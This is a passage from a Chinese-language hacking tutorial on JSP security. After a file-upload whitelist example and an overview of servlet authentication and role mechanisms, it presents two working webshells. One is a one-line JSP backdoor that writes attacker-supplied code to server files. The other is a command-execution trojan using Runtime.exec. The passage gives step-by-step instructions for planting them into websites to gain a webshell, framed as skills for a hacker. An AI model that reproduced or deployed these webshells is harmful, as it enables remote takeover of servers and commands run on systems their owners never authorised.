String allowFileList = "zip,rar,doc,txt"; //允许上传的后缀
int fileSize = 0;
try{
if((StrLoad!=null)&&(StrLoad.equals("up"))){
mySmartUpload.initialize(pageContext);
mySmartUpload.setTotalMaxFileSize(2000000);
mySmartUpload.setMaxFileSize(2000000); //设置上传文件的最大值
mySmartUpload.setAllowedFilesList(allowFileList);
mySmartUpload.upload(); //调用上传处理函数
可以看到上面的代码中,它只允许上传zip、rar、doc、txt这四种后缀名,而其他的所有后缀名都被拒绝上传了。这样主动性的去允许上传文件的类型,使得我们根本就没办法突破这个防线上传其他的文件。比如我上传一个JSP木马,就弹出一个对话况,如图13-31所示,里面显示着“请选择允许上传文件:.zip,.rar,.doc,.txt!”。
图13-31 允许上传的类型
5、 JSP安全编程技术
在JSP系统的开发过程中,已经为我们提供各种安全编程技术。利用它们可以很大程度上提高系统的安全性,下面就简单为大家介绍JSP中的各种安全编程技术。
(1)、Declarative Security
Declarative security指的是表达一个应用的安全结构,包括角色,存取控制,和在一个应用的外部表单所要求的验证。在WEB application中发布描述器是实施declarative security的一种主要的工具。发布者把Application所要求的逻辑完整性映射为在特定运行环境下的安全策略。在运行时,Servlet container使用这些策略来强迫验证。
(2)、Programmatic Security
当Declarative Security不能够完全表达一个Spplication的安全模型时,就可以使用Programmatic Security。Programmatic Security包括HttpServletRequest接口的下列方法:getRemoteUser方法返回经过客户端验证的用户名。IsUserInRole向Container的安全机制询问一个特定的用户是否在一个给定的安全角色中。GetUserPrinciple方法返回一个Java.security.Pricipal对象。这些APIs根据远程用户的逻辑角色让Servlet去完成一些逻辑判断。它也可以让Servlet去决定当前用户的主要名字。如果getRemoteUser返回NULL值(这意味着没有用户被验证),那么isUserInRole就总会返回False,getUserPrinciple总会返回NULL。
(3)、Roles
一个Roles就是由Application Developer和Assembler所定义的一个抽象的逻辑用户组。当一个Application被发布的时候,Deployer就把这些角色映射到在运行环境中的安全认证,例如组或规则。一个Servlet container能够为规则执行一些说明或编程安全,这些规则是与调用这些Principal的安全属性所输入的要求相联系的。例如:当Peployer把一个安全角色映射为操作环境下的一个用户组,调用Principle所属的用户组就从安全属性中获得。如果Principle的用户组与在操作环境下的用户组相匹配,那么Principle 就是一个安全角色;当Deployeer把一个安全角色映射为一个在安全方针域中的Principle名时,调用Principle的确Principle名就被从安全属性中提取出来。如果两者相同的话,调用的Principle就是安全的。
(4)、Authentication
一个WEB 客端能够使用下面的一种机制来对WEB 服务器验证一个用户:HTTP Digest Authentication;HTTPS Client Authentication;HTTP Basic Authentication;HTTP Based Authentication。
(5)、HTTP Basic Authentication
HTTP Basic Authentication是一个定义在HTTP/1.1规范中的验证机制。这种机制是以用户名和密码为基础的。一个WEB Server要求一个WEB Client去验证一个用户。作为Request的一部分,WEB Server 传递Realm的字符串,用户就是在它里面被验证的。
小提示:Basic Authentication机制的Realm字符串不一定反映任何一种安全方针域。WEB Client得到这些用户名和密码,然后把它传递给WEB Server。WEB Server然后在一个特定的领域验证这些用户。由于密码是使用一种64位的编码来传递,而且目的Server没有验证,所以Basic Authentication不是一种安全的验证协议。
(6)、HTTP Digest Authentication
HTTP Digest Authentication根据用户名和密码验证一个用户,然而密码的传输是通过一种加密的形式进行的,这就比Basic Authentication所使用的64位编码形式传递要安全的多。由于Digest Authentication当前不被广泛使用,Servlet Containers不要求支持它但是鼓励去支持它。
(7)、HTTPS Client Authentication
使用HTTPS(HTTP over SSL)的终端用户验证是一种严格非验证机制。这种机制要求用户去处理公共密钥证明(Public Key Certification PKC)。当前,PKCs在e-commerce应用中是有用的。不适应J2EE的servlet containers不要求支持HTTPS协议。
(8)、Server Tracking of Authentication InFormation
就像映射在角色中的安全标识一样,运行环境是环境的说明而不是应用的说明。在WEB application的发布环境创建一个登录机制和策略;对发布在同一个Container的Application能够使用同样的验证信息来代表这些Application的Principal;仅仅当通过安全策略域时要求用户重新验证。因此,一个Servlet Container要求在Container层来跟踪这些验证信息,而不是在Application层。允许一个经验证的用户拒绝一个使用其它资源的Application,这些是通过受同样安全性标识限制的Container管理的。
不管是注入还是上传,我们首先都是为了得到webshell。要得到webshell当然是要用到JSP木马了,所以本节就来简单讨论一下JSP木马的编写技术。
ASP和PHP都有一句话木马服务端,虽然目前JSP中并没有一个普遍的一句话服务端,不过我们仍然可以自己写一个具有一句话木马服务端功能的代码,如下所示:
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
上面的服务端中的参数f如果不为空,那么就通过参数f获取我们客户端提交过来的数据。我们可以这个服务端插入到网站的JSP文件中,然后提交一个大马进去。比如我们将这个服务端插入到http://www.xxxx.com/xx.jsp中,则我们要使用这个木马就应该输入http://www.xxxx.com/xx.jsp? f=shell.jsp&t=木马的内容。其中,shell.jsp就是我们生成的新文件,而木马的内容则就是我们要写入到shell.jsp文件中的内容,所以当我们打开http://www.xxxx.com/shell.jsp就是一个木马了。当然,参数t也是支持URL的,和文件包含漏洞是一样的。
这里给大家接受一下f和t这两个参数,其中参数f是用来在服务器中生成文件的文件名,而参数t是用于接受所提交的数据。
对于这个一句话木马,我们可以这样利用。首先还是一样,将这个服务端插入到JSP网站中的jsp文件中,而且记住这个文件的文件名,这里假设我们插入了服务端的文件的URL地址是http://www.xxx.com/article.jsp。插入服务端成功之后,就是接下来就是要将我们大马传到JSP网站中去从而得到webshell。
这里我们提交http://www.xxx.com/article.jsp?f=shell.jsp&t=http://www.xxx.com/shell.txt。其中shell.jsp就是我们在服务器中生成的文件,即JSP木马文件名。而参数t的值为http://www.xxx.com/shell.txt是我们JSP文件的代码,当然t参数的值也可以直接是JSP的代码,这里即支持通过URL提交木马代码也支持直接提交JSP木马代码。和我们前面所讲的PHP中的文件包含漏洞比较类似。当成功提交之后,我们就可以得到了一个JSP的webshell了。
在ASP中为大家介绍了DIY.asp小马,其实,在JSP中同样可以实现一个小木马。例如下面给大家编写一个具有CMD功能的小马,其代码如下所示:
<%@ page contentType="text/html; charset=gb2312"%>
//这里表示的是文字的gb2312编码方式,添加了这行代码就能够显示中文,否则现实乱码
<%@page import="java.io.*" %>
//引入JAVA的IO包文件,因为后面要用到StringBuffer类的I/O操作,所以要包含这个包
<%
String cmdshell=request.getParameter("cmd");
//获得客户端中输入的cmd的参数值,并把它赋给cmdshell
String order="";
//定义初始值为空的字符串order,它是我们在输入框中输入的命令
StringBuffer buffer=new StringBuffer("");
//定义一个StringBuffer类,其作用是读取我们在输入框中输入的命令,并返回结果
if(cmdshell!=null) //如果我们在输入框中输入了参数就执行下面的代码
{
try //在这里引入了异常处理机制,以防止发生意外导致系统崩溃
{
Process pro=Runtime.getRuntime().exec("cmd /"+cmdshell);
//这里我们建立一个Process对象,并利用该对象的Runtime的exec()方法执行输入的命令,核心代码
BufferedReader buf=new BufferedReader(new InputStreamReader(pro.getInputStream()));
//建立一个BufferedReader对象,用来读取我们输入的命令
while((order=buf.readLine())!=null)
{
buffer.append(order+"\r\n"); //获取到的命令追加到变量order的后面并换行
}
}
catch(Exception e)
{
System.out.println(e.toString()); //如果发生异常了,就把异常情况打印出来
}
}
else
{
cmdshell="dir c:/" //默认情况下输入的是dir c:/
}
%>
<form name="cmd" action="" method="post"> //定义一个表单,名称为cmd,方法为post
//空格
<input type="text" name="cmd" value="<%cmdshell%>" size=50>
//为一个输入框,用于我们输入命令
<input type=submit name=submit value="执行命令"> //提交我们输入的命令
</form>
<%
if(buffer!=null&&buffer.toString().trim().equals("")==fale)
{
%>
//空格
<textarea name="MyView" rows="20" cols="100"><%=buffer.toString()%></textarea>
//定义一个输入域,用于显示我们执行令名后返回的结果
<br>
<%
}
%>
上面的代码就能够完成与ASP中diy.asp小马同样的功能,我们把这个小马放入到网站中,如通过上传漏洞上传等等。打开之后我们就能够往输入框中输入命令了,命令执行完毕之后,结果就返回到输入域中。
对于一个完整的JSP木马来说,功能不仅仅是上面所演示的执行命令。还有比如对文件的管理、操作、新建等功能。不过这些功能只需要用到普通的JSP文件操作函数即可完成,一般的JSP探针或者管理工具都会用到上面的这些知识。不过要完成复杂的功能就必须要用到JAVA的知识,因为这里我们并没有过多的提及JAVA的知识,所以如果我在分析功能强大的JSP木马的话,肯定很多朋友看不懂。所以,经过我与土豆的商量,决定就编写一个小马给大家,大马的分析就不讲了。大家只需要学会怎么使用大马就可以了,如果对大马感兴趣,甚至想自己编写一个的话,那么先还得对JAVA很熟悉。
对于JSP程序的安全问题我们就讨论到这里了,上面基本上提及了目前JSP存在的各种安全问题。不过大家应该明白,JSP发展非常的迅速。仅仅掌握我给大家的那点知识是远远不够的,因为JSP往往是一个系统的一部分,例如银行常常采用J2EE+JSP+Oracle+Unix来架构。如果仅仅掌握JSP是很难对整个系统有一个把握性的掌握的。所以大家要不断学习,掌握新的技术,这是一名优秀的黑客所具有的最基本的素质。
声明:本章中的部分内容引用了互联网的内容,是通过Google搜索到的,比如引用了http://www.huachu.com.cn/bbs/dispbbs.asp?boardID=15&ID=43440的《JSP论坛安全之旅》部分内容,以及安全焦点的《JSP安全编程实例浅析》部分内容,非常的感谢这些优秀的文章的作者,版权依然属于他们。